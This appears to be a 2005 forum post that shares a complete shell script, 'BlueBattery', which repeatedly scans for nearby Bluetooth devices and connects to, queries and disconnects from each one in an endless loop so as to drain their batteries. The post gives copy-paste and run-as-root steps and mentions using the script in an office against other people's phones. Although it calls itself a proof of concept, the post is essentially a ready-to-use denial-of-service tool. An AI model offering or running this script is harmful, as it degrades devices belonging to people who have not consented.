|
-
December 5th, 2005, 12:01 PM
#2
Junior Member
Bluetooth battery killer
Hello Ladies and Gents.
Here is a little script I wrote to kill batteries on bluetooth devices (For good karma.. just a proof of concept). It requires:
1. BlueZ stack
2. Linux
3. a bluetooth dongle/card
Just copy and paste the below script and call it whatever.sh. Then chmod u+x the file. NB... must run as root.
--------------------------------------
#!/bin/sh
# BlueBattery by bob_mugabe.
# Creates loads of connections to cellphones/bluetooth devices. If run in a place like an office,
# it should be pretty good at making the device's battery flat after a few hours.
#
# [email protected]
control=69
while [ "$control" == "69" ]
do
echo
echo Scanning devices....
hcitool scan > scan.txt
echo
declare -i linecount
linecount=0
while read LINE
do
linecount=linecount+1
if [ "$linecount" -gt "1" ]
then
bwaddress=`echo $LINE | awk '{ print $1 }'`
bwname=`echo $LINE | awk '{ print $2 $3 $4 $5}'`
echo "Connecting to $bwaddress.... ($bwname)"
hcitool cc $bwaddress > /dev/null
echo "Communicating with $bwaddress.... ($bwname)"
hcitool info $bwaddress > /dev/null
hcitool inq $bwaddress > /dev/null
echo "Disconnecting from $bwaddress.... ($bwname)"
hcitool dc $bwaddress > /dev/null
fi
done < scan.txt
done
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|